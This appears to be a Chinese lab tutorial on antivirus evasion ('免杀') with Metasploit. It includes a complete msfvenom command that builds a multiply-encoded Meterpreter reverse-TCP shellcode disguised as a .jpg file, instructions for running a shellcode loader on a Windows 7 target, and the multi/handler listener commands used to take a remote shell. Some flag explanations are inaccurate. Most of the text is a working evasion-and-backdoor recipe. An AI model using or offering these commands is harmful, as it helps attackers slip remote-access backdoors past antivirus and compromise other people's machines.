所用环境:Kali Linux + Windows7
免杀技术简介: 免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
VirusTotal
这里介绍一个网站VirusTotal ,这是一个免费的在线服务,它允许用户上传文件或提交网址,以检查它们是否包含恶意软件或其他潜在的安全威胁。VirusTotal 通过使用多种不同的病毒扫描引擎和安全工具来分析提交的文件或链接,从而提供更全面的检测结果。
(不挂梯子上传不了文件;TIME:24/11/24)
我用之前在msfvenom生成后门程序上传看看:
72个检测引擎,53个都查得出来;
利用MSF自带的功能进行免杀
Meatsploit 框架下免杀的方式之一就是使用 MSF 编码器,其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。 MSF 编码器可以将原可执行程序重新编码,生成 一个新的二进制文件,该文件运行后, MSF 编码器会将原始程序解码到内存中并执行。
生成shellcode文件(CROWSEC.JPG)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00'
lhost=192.168.70.128 lport=5558 -f raw -o crowsec.jpg
-p 指定payload是反弹shell
-e 选择编码器为x86.....
-i 编码次数
-b 指定替换的字符串为 '\x00'把这个嫌疑大的注释符给替换咯;
-f 真实字符
-o 输出文件
一下子隐蔽性高很多了噢;
这个ms是shellcode加载器来的,检测概率更低
将
crowsec.jpg
和
ms.exe
放到目标同一目录,点击
ms.exe
即可上线
(如果编码器运行不成功,需要
msvcr110.dll
放到
C:\Windows\SysWOW64
下)

打开监听模块
设置好参数
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.70.128set lport 5558

exploit开启
在靶机上,运行ms.exe
Getshell
总结:
1.了解到了Virus Total这个在线监测网站;
2.学会制作shellcode和shellcode的使用;
3.锻炼对kali和windows系统的熟悉;